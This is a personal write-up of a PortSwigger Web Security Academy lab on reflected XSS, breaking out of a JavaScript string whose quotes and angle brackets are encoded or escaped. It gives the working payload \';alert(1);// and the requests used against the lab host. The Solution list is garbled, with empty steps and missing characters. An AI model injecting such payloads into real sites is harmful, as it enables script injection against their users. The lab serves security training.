

Reflected XSS into a JavaScript String with Angle Brackets and Double Quotes HTML-Encoded and Single Quotes Escaped

Lab Information

- **Platform:** PortSwigger Web Security Academy
- **Category:** Cross-Site Scripting (XSS)
- **Difficulty:** Practitioner
- **Type:** Reflected XSS
- **Status:** Solved 

Objective

The goal of this lab is to perform a **reflected cross-site scripting attack** by breaking out of a JavaScript string and executing the `alert()` function.

The application reflects the search parameter inside a JavaScript string.

However, the application applies several protections:

- `<` and `>` are HTML encoded.
- Double quotes `"` are HTML encoded.
- Single quotes `'` are escaped.

The challenge is therefore to find a way to escape the JavaScript string despite these protections.

Reconnaissance

I first identified the search functionality and tested whether the supplied input was reflected in the HTTP response.

For example:

```
GET /?search=test HTTP/1.1
Host: TARGET.web-security-academy.net
```

The input was reflected inside JavaScript code similar to:

```
<script>
  var search = 'test';
</script>
```

This confirmed that the injection point was inside a **JavaScript string context**.

Important Observation

The application modifies certain characters before reflecting them.

Character	Application behavior
<	HTML encoded
>	HTML encoded
"	HTML encoded
'	Escaped
\	Not escaped

The fact that the backslash was not escaped was important.

Vulnerability Analysis

Request

The vulnerable parameter was the search parameter:

```
GET /?search=test HTTP/1.1
Host: TARGET.web-security-academy.net
```

The value was inserted into a JavaScript string:

```
var search = 'test';
```

A normal JavaScript string breakout would usually be:

```
['];alert(1);//
```

However, the application escapes the single quote.

Therefore:

```
'
```

becomes effectively:

```
\'
```

and the normal payload cannot terminate the string as intended.

Why `<script>` Breakout Does Not Work

In the previous type of lab, it may be possible to use:

```
</script><script>alert(1)</script>
```

But here `<` and `>` are HTML encoded.

Therefore the browser does not interpret the injected value as a new HTML tag.

So we need to stay inside the JavaScript context.

Exploitation

The successful payload was:

```
\';alert(1);//
```

URL-encoded form:

```
%5C%27%3Balert%281%29%3B%2F%2F
```

Payload Breakdown

```
\'
```

The backslash interacts with the application's escaping of the single quote.

This results in the JavaScript parser seeing the backslash sequence in a way that allows the string to be terminated.

Then:

```
;
```

terminates the current JavaScript statement.

Next:

```
alert(1)
```

executes JavaScript.

Finally:

```
//
```

starts a JavaScript comment, causing the remaining part of the original statement to be ignored.

Conceptually:

```
\'  
↓  
Break out of JavaScript string  
↓  
;  
↓  
Terminate statement  
↓  
alert(1)  
↓  
//  
↓  
Comment out the remaining JavaScript
```

Final Payload

```
\';alert(1);//
```

Tools Used

- Burp Suite
 - Burp Repeater
 - Browser DevTools
 - Web Browser
-

Solution

The solution process was:

1. Identify the search parameter.
2. Confirm that the input was reflected.
3. Inspect the HTML response.
4. Identify that the reflection occurred inside a JavaScript string.
5. Test special characters such as:
6.
7.
8.
9.
10.
11. Determine that:
12. and were HTML encoded.
13. was HTML encoded.
14. was escaped.
15. was not escaped.
16. Use the backslash to interact with the application's single-quote escaping.
17. Inject JavaScript using:

1. The browser executed:

1. The lab was successfully solved.
-

What I Learned

- The first step in XSS exploitation is always identifying the **injection context**.
- JavaScript string context requires different techniques from HTML context.
- HTML encoding can prevent attacks such as:

```
</script><script>alert(1)</script>
```

- Escaping a character does not necessarily make the context secure if another character, such as a backslash, can interfere with the escaping mechanism.
- Backslashes are particularly important when analyzing JavaScript string escaping.
- Burp Repeater is extremely useful for testing how the application transforms individual characters.
- Always inspect the **actual server response** rather than assuming how the application sanitizes input.

References

- PortSwigger Web Security Academy — Cross-site scripting
- PortSwigger Web Security Academy — Reflected XSS
- OWASP — Cross-Site Scripting (XSS)